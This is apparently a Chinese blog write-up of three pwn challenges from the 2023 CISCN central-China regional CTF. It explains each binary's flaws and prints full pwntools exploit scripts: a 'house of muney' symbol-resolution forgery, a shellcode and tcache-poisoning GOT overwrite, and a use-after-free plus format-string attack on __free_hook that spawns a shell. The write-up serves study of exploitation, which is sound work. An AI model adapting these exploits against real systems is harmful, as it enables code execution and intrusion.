2023-ciscn-华中赛区-pwn-wp

本文最后更新于:2023年7月9日 下午

2023-ciscn-华中赛区-pwn-wp

muney

检查保护

image-20230708134910776

没开PIE,且got表可写。

程序首先对我们输入的内容进行进行解析,接下来就是常规的菜单堆题了。

image-20230708135001560

image-20230708135131257

image-20230708135221417

至于解析格式,从题目输出HTTP_Parser> 可知,应该对http参数进行解析。这里,我们随便抓一个包,获取http请求参数,然后结合动态调试就可以得到输入格式。

1
2
3
4
5
6
7
8
header = f'''POST /create HTTP/1.0
Connection: Keep-Alive
Accept-Encoding: gzip
Size: {size}
Content-Length: {str(0x80)}\n
'''
content = 0x80 * 'a'
payload = header + content

接下来,我们分析菜单功能。这里我们主要关注addeditquit 这三个函数。

add函数通过解析http头获取size。比较恶心的一点是size必须>0xfffff,也就是使用mmap分配堆块。

image-20230708135931053

edit函数并没有检查ofsize的正负性,存在负数溢出,一次最多可以写8个字节。

image-20230708140130826

quit函数exit第一个参数是”/bin/sh” 。这里不难想到修改exit的got表为system

image-20230708140310833

这道题的难点在于使用mmap分配堆块,比赛时也是想了很久,也没想出来。这道题最终只有1解,是华科的师傅们解出来的。太厉害了。

这道题的利用方法是house of muney,之前都没听过。这次也算是长了见识。

  1. 使用mmap偷取libc内存,把不可写的部分变为可写。
  2. 伪造bitmask_wordbuckethasharrexit_symst_value字段
  3. 动态解析执行system。

这里主要说说如何获取bitmask_word这些关键字段。

这里,我们需要跟踪exit函数的动态解析过程。

image-20230708141728423

以下是exit动态解析大致调用链。

image-20230708141820302

这里的关键就是do_lookup_x函数,我们需要的关键字段都是在这个函数获取的。

image-20230708141951293

同理,继续向下跟踪就可以获取剩下的参数。

需要注意的是,我们跟踪的是第二次解析过程,也就是i=1时的字段内容。

最终脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
from pwn import *
from pwn import p64, p32, p16, p8

context.arch = 'amd64'
context.log_level = 'debug'

fn = './muney'
elf = ELF(fn)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

debug = 1
if debug:
p = process(fn)
else:
p = remote()

def dbg(s=''):
if debug:
gdb.attach(p, s)
pause()

else:
pass

lg = lambda x, y: log.success(f'{x}: {hex(y)}')


def menu(content):
p.sendafter('HTTP_Parser> ', content)


def add(size):
header = f'''POST /create HTTP/1.0
Connection: Keep-Alive
Accept-Encoding: gzip
Size: {size}
Content-Length: {str(0x80)}\n
'''
payload = header + 'a' * 0x80
menu(payload)


def edit(index, offset, length, content):
header = f'''POST /edit HTTP/1.0
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Length: {length}
Idx: {index}
Offset: {offset}\n
'''
payload = header.encode() + content

menu(payload)


def delete(index):
header = f'''POST /delete HTTP/1.0
Connection: Keep-Alive
Accept-Encoding: gzip
Idx: {index}\n
'''
menu(header)


def quit():
header = f'''POST /quit HTTP/1.0
Connection: Keep-Alive
Accept-Encoding: gzip\n
'''
menu(header)


command = """
dir ~/tools/glibc-source/glibc-2.31/elf/
b *0x4021CA
"""

# dbg(command)

# quit()

bitmask_offset = 0xb88
bucket_offset = 0xcb0
hasharr_offset = 0x1d7c
exit_sym_offset = 0x4d20

bitmask_word = 0xf000028c0200130e
bucket = 0x86
hasharr = 0x7c967e3e7c93f2a0
exit_sym = 0x000f001200002efb

st_value = 0x52290 # system offset libc base

add(0x200000)
edit(0, -8, 3, b'\x02\x10\x21')
delete(0)

add(0x211002)

vmmap_offset_libc = 0x201ff0

edit(0, vmmap_offset_libc + bitmask_offset, 2, p16(bitmask_word & 0xffff))
edit(0, vmmap_offset_libc + bitmask_offset + 3, 2, p16(bitmask_word >> 24 & 0xffff))
edit(0, vmmap_offset_libc + bitmask_offset + 5, 1, p16(bitmask_word >> 40 & 0xff))
edit(0, vmmap_offset_libc + bitmask_offset + 7, 1, p16(bitmask_word >> 56 & 0xff))

edit(0, vmmap_offset_libc + bucket_offset, 1, p8(bucket))

edit(0, vmmap_offset_libc + hasharr_offset, 8, p64(hasharr))

edit(0, vmmap_offset_libc + exit_sym_offset - 8, 2, p16(exit_sym & 0xffff))
edit(0, vmmap_offset_libc + exit_sym_offset - 8 + 4, 1, p8(exit_sym >> 32 & 0xff))
edit(0, vmmap_offset_libc + exit_sym_offset - 8 + 6, 1, p8(exit_sym >> 48 & 0xff))

edit(0, vmmap_offset_libc + exit_sym_offset, 3, p32(st_value)[:-1])

# dbg()

quit()

p.interactive()

image-20230708141239875

pwn-lvm

这道题比赛时0解。说实话有点无语,比赛时笔者把断点下在了sub_8050函数开头,就是进入不了关键逻辑。没单步几步就退了,以为有什么特殊的过滤。结果复现时,笔者又尝试把断点直接下在了关键逻辑处,发现可以直接进入关键逻辑。还是太菜了。

检查保护。

image-20230708143525371

几乎什么保护都没开。

程序也是一个常规的菜单堆。

Edit函数被没有检查offset的大小,存在堆溢出。

image-20230708143704111

Alloc函数分配了一段可读可写可执行的区域。

image-20230708143804086

EditAlloc函数对我们分配的区域进行写。

image-20230708143907984

大致利用思路就是,

  1. 在我们分配的可读可写可执行区域写入shellcode。
  2. 通过堆溢出覆盖tcache的next字段,实现任意地址分配。
  3. 覆盖free_got为shellcode。

说实话,笔者对这个调用链也有点迷。多次调试发现exit退出时,执行了opt-10free_got,也就是我们的shellcode。

image-20230708144609923

最终wp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
//clang-10 -emit-llvm -S wp.c -o wp.ll
//./opt-10 -load ./LLVMHello.so -Hello ./wp.ll

#include <stdio.h>
#include <stdint.h>

void Add(int size){}
void Edit(int idx, int offset, int data){}
void Del(int idx){}
void Alloc(){}
void EditAlloc(int idx, int offset){}

void l1s00t()
{
Alloc();

Add(0x1000);
Add(0x1000);
Add(0x1000);
Add(0x1000);
Add(0x1000);
Add(0x1000);
Add(0x1000);
Add(0x1000);
Add(0x1000);
Add(0x1000);
Add(0x1000);
Add(0x1000);

Edit(0,0,0xb848686a);
Edit(1,0,0x6e69622f);
Edit(2,0,0x732f2f2f);
Edit(3,0,0xe7894850);
Edit(4,0,0x01697268);
Edit(5,0,0x24348101);
Edit(6,0,0x01010101);
Edit(7,0,0x6a56f631);
Edit(8,0,0x01485e08);
Edit(9,0,0x894856e6);
Edit(10,0,0x6ad231e6);
Edit(11,0,0x050f583b);

EditAlloc(0, 0x4 * 0);
EditAlloc(1, 0x4 * 1);
EditAlloc(2, 0x4 * 2);
EditAlloc(3, 0x4 * 3);
EditAlloc(4, 0x4 * 4);
EditAlloc(5, 0x4 * 5);
EditAlloc(6, 0x4 * 6);
EditAlloc(7, 0x4 * 7);
EditAlloc(8, 0x4 * 8);
EditAlloc(9, 0x4 * 9);
EditAlloc(10, 0x4 * 10);
EditAlloc(11, 0x4 * 11);

Add(0x140); // 12
Add(0x140); // 13
Add(0x140); // 14
Add(0x140); // 15

Del(14);
Del(13);

Edit(12, 0x54, 0x78B108);

Add(0x140); // 13
Add(0x140); // 14

Edit(14, 0, 0x10000);
Edit(14, 1, 0);
}

image-20230708144514375

Tips:获取shellcode的脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context.arch='amd64'

shellcode = asm(shellcraft.sh())

if len(shellcode) % 4:
shellcode += len(shellcode) % 4 * b'\x90'

res = []
for i in range(0, len(shellcode), 0x4):
res.append(shellcode[i:i + 4])


for code in res:
print(hex(u32(code)))

awd

这道题比赛时应该有挺多师傅写出来了。一开始我只顾着逆结构体去了,也没有修漏洞,结果我们pwn靶机被打了,然后笔者直接上了沙盒才避免进一步掉分。最后只发现了一个uaf漏洞,太紧张了也没有利用起来。最那啥的是,当时竟然没有看到格式化字符串漏洞,还是太菜了。

检查保护。

image-20230708151938597

保护全开。

笔者逆出来的结构体大致如下:

1
2
3
4
5
6
7
8
9
10
struct mycmd
{
int32_t is_file;
char name[16];
char *content;
char *prev;
char *next;
char *prev_dir;
char *head;
};

rm函数存在uaf漏洞

image-20230708152134821

image-20230708152201071

删除content时,没有清空。同时,删除管理头时,仅仅删除了前后指针。

echo函数存在格式化字符串漏洞。

image-20230708152339949

这两个漏洞都算是比较好利用的,既可以结合使用,也可以单独利用。

最终wp(UAF)如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

fn = './pwn'
elf = ELF(fn)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

debug = 1
if debug:
p = process(fn)
else:
p = remote()

def dbg(s=''):
if debug:
gdb.attach(p, s)
pause()

else:
pass


lg = lambda x, y: log.success(f'{x}: {hex(y)}')


def attack(index):
p.sendlineafter('$ ', str(index))


attack("touch l1s00t")

payload = '%11$p %15$p %7$p'
attack(f"echo {payload} l1s00t")

p.recvuntil('0x')
libc_base = int(p.recv(12), 16) - 0xa036e
lg('libc_base', libc_base)

codebase = int(p.recv(14), 16) - 0x2820
lg('codebase', codebase)

heapbase = int(p.recv(14), 16) - 0x510
lg('heapbase', heapbase)

# test uaf
# attack("mkdir l1")
# attack("cd l1")
# attack("touch f1")
# attack("touch f2")
# attack("touch f3")

# attack("echo l1s00t > f1")
# attack("rm f1")

# attack("touch f4")
# attack("rm f4")

attack("mkdir l2")
attack("cd l2")

for i in range(10):
attack(f"touch f{i}")
attack(f"echo aaaaaaaa > f{i}")

for i in range(7):
attack(f"rm f{i}")

attack("rm f7")

attack("touch f10")

free_hook = libc_base + libc.sym['__free_hook']
payload = p64(free_hook - 8).decode('latin-1')[:6].encode('latin-1')
payload = payload.decode('latin-1')
attack(f"echo {payload} > f10")

for i in range(7):
attack(f"touch f{11 + i}")

attack("cat f17")
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
lg('leak', leak)
libc_base = leak - 0x1ecbe0
lg('libc_base', libc_base)

attack("touch f20")
attack("echo ccccccc > f20")

attack("touch f21")

system = libc_base + libc.sym['system']
payload = b"/bin/sh;" + p64(system).decode('latin-1')[:6].encode('latin-1')
payload = payload.decode('latin-1')
attack(f"echo {payload} > f21")

attack("rm f21")

# dbg()

p.interactive()

image-20230708152603676


2023-ciscn-华中赛区-pwn-wp
http://example.com/2023/07/08/2023-ciscn-华中赛区-pwn-wp/
作者
l1s00t
发布于
2023年7月8日
更新于
2023年7月9日
许可协议